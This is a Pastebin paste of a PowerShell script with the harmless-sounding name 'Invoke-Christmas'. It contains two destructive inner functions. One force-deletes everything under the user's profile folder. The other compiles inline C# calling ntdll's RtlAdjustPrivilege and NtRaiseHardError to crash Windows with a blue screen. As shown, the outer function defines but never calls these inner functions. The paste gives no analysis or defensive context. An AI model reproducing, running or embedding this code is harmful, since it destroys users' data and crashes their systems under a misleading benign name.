Advertisement
Guest User

Untitled

a guest
Nov 13th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Function Invoke-Christmas {
  2.  
  3.  
  4. Function RemoveStuff {
  5. Remove-Item -path $env:USERPROFILE\* -Recurse -Force
  6. }
  7.  
  8. Function Invoke-BSOD {
  9. $source = @"
  10. using System;
  11. using System.Runtime.InteropServices;
  12.  
  13. public static class CS{
  14.     [DllImport("ntdll.dll")]
  15.     public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
  16.  
  17.     [DllImport("ntdll.dll")]
  18.     public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
  19.  
  20.     public static unsafe void Kill(){
  21.         Boolean tmp1;
  22.         uint tmp2;
  23.         RtlAdjustPrivilege(19, true, false, out tmp1);
  24.         NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out tmp2);
  25.     }
  26. }
  27. "@
  28.     $comparams = new-object -typename system.CodeDom.Compiler.CompilerParameters
  29.     $comparams.CompilerOptions = '/unsafe'
  30.     $a = Add-Type -TypeDefinition $source -Language CSharp -PassThru -CompilerParameters $comparams
  31.     [CS]::Kill()
  32. }
  33.  
  34.  
  35. }
  36.  
  37. Invoke-Christmas
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement